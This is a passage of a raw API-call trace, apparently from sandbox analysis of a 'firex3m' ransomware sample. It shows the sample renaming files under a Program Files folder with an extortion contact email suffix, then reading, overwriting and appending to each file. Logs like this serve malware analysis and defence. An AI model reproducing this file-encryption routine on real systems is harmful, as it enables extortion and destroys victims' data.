Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5280 [0221.064] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0221.065] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0221.065] GetProcessHeap () returned 0x630000 [0221.065] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7550 [0221.065] GetProcessHeap () returned 0x630000 [0221.065] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d72c8 [0221.065] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.065] ReadFile (in: hFile=0x6cc, lpBuffer=0x6d7550, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7550*, lpNumberOfBytesRead=0x69bff0c*=0x240, lpOverlapped=0x0) returned 1 [0221.069] GetProcessHeap () returned 0x630000 [0221.069] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0221.069] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.069] WriteFile (in: hFile=0x6cc, lpBuffer=0x6d72c8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d72c8*, lpNumberOfBytesWritten=0x69bff0c*=0x240, lpOverlapped=0x0) returned 1 [0221.069] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.069] WriteFile (in: hFile=0x6cc, lpBuffer=0x6d7507*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7507*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.069] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.069] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.069] CloseHandle (hObject=0x6cc) returned 1 [0221.069] GetProcessHeap () returned 0x630000 [0221.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d72c8 | out: hHeap=0x630000) returned 1 [0221.069] GetProcessHeap () returned 0x630000 [0221.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7550 | out: hHeap=0x630000) returned 1 [0221.069] GetProcessHeap () returned 0x630000 [0221.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0221.069] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49b67b22, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x69bfd20, dwReserved1=0x6d7550, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0221.070] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0221.070] Sleep (dwMilliseconds=0x1) [0222.495] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html", len=0x6f | out: pbstr=0x69bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html") returned 1 [0222.495] GetProcessHeap () returned 0x630000 [0222.495] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5180) returned 0x6fe3bb0 [0222.495] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0225.773] CloseHandle (hObject=0x6d0) returned 1 [0225.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.773] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.790] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x926583f5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9931, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5500 [0225.792] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0225.792] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0225.797] GetProcessHeap () returned 0x630000 [0225.797] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9941) returned 0x7453008 [0225.797] GetProcessHeap () returned 0x630000 [0225.797] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9941) returned 0x6faaf20 [0225.797] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.797] ReadFile (in: hFile=0x674, lpBuffer=0x7453008, nNumberOfBytesToRead=0x9920, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesRead=0x69bff0c*=0x9920, lpOverlapped=0x0) returned 1 [0231.427] GetProcessHeap () returned 0x630000 [0231.427] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0231.427] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.427] WriteFile (in: hFile=0x674, lpBuffer=0x6faaf20*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf20*, lpNumberOfBytesWritten=0x69bff0c*=0x9920, lpOverlapped=0x0) returned 1 [0233.033] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.033] WriteFile (in: hFile=0x674, lpBuffer=0x6fb483f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb483f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.613] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.613] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.620] CloseHandle (hObject=0x674) returned 1 [0233.983] GetProcessHeap () returned 0x630000 [0233.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faaf20 | out: hHeap=0x630000) returned 1 [0233.983] GetProcessHeap () returned 0x630000 [0233.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0233.984] GetProcessHeap () returned 0x630000 [0233.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0235.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x926583f5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51325729, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9955, dwReserved0=0x9b47496, dwReserved1=0x7453000, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5340 [0235.151] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.152] Sleep (dwMilliseconds=0x1) [0235.157] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Windows Sidebar\\afr38.exe", len=0x2a | out: pbstr=0x69bff7c*="C:\\Program Files\\Windows Sidebar\\afr38.exe") returned 1 [0235.157] GetProcessHeap () returned 0x630000 [0235.157] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50bc) returned 0x6fe3bb0 [0235.157] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\afr38.exe" (normalized: "c:\\program files\\windows sidebar\\afr38.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.157] Sleep (dwMilliseconds=0x1) [0235.195] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x69bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml") returned 1 [0235.195] GetProcessHeap () returned 0x630000 [0235.195] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5088) returned 0x6fe3bb0 [0235.195] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0235.196] CloseHandle (hObject=0x4e4) returned 1 [0235.196] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.196] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.197] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5240 [0235.197] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.197] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0235.198] GetProcessHeap () returned 0x630000 [0235.198] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7234c8 [0235.198] GetProcessHeap () returned 0x630000 [0235.198] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7236c0 [0235.198] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.198] ReadFile (in: hFile=0x4e4, lpBuffer=0x7234c8, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7234c8*, lpNumberOfBytesRead=0x69bff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0235.200] GetProcessHeap () returned 0x630000 [0235.200] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0235.200] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.200] WriteFile (in: hFile=0x4e4, lpBuffer=0x7236c0*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7236c0*, lpNumberOfBytesWritten=0x69bff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0235.200] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.201] WriteFile (in: hFile=0x4e4, lpBuffer=0x72387f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72387f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.266] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.267] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.267] CloseHandle (hObject=0x4e4) returned 1 [0235.267] GetProcessHeap () returned 0x630000 [0235.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7236c0 | out: hHeap=0x630000) returned 1 [0235.267] GetProcessHeap () returned 0x630000 [0235.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7234c8 | out: hHeap=0x630000) returned 1 [0235.267] GetProcessHeap () returned 0x630000 [0235.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0235.267] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x522e3816, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x69bfd20, dwReserved1=0x7234c8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0235.267] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.268] Sleep (dwMilliseconds=0x1) [0235.347] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x69bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml") returned 1 [0235.347] GetProcessHeap () returned 0x630000 [0235.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5058) returned 0x6fe3bb0 [0235.347] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0235.348] CloseHandle (hObject=0x4e8) returned 1 [0235.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.348] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5500 [0235.349] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0235.349] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0235.349] GetProcessHeap () returned 0x630000 [0235.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbd20 [0235.349] GetProcessHeap () returned 0x630000 [0235.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc830 [0235.349] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.349] ReadFile (in: hFile=0x4e8, lpBuffer=0x6dbd20, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbd20*, lpNumberOfBytesRead=0x69bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.352] GetProcessHeap () returned 0x630000 [0235.352] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0235.352] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.352] WriteFile (in: hFile=0x4e8, lpBuffer=0x6dc830*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc830*, lpNumberOfBytesWritten=0x69bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.352] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.352] WriteFile (in: hFile=0x4e8, lpBuffer=0x6dc9cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc9cf*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.352] 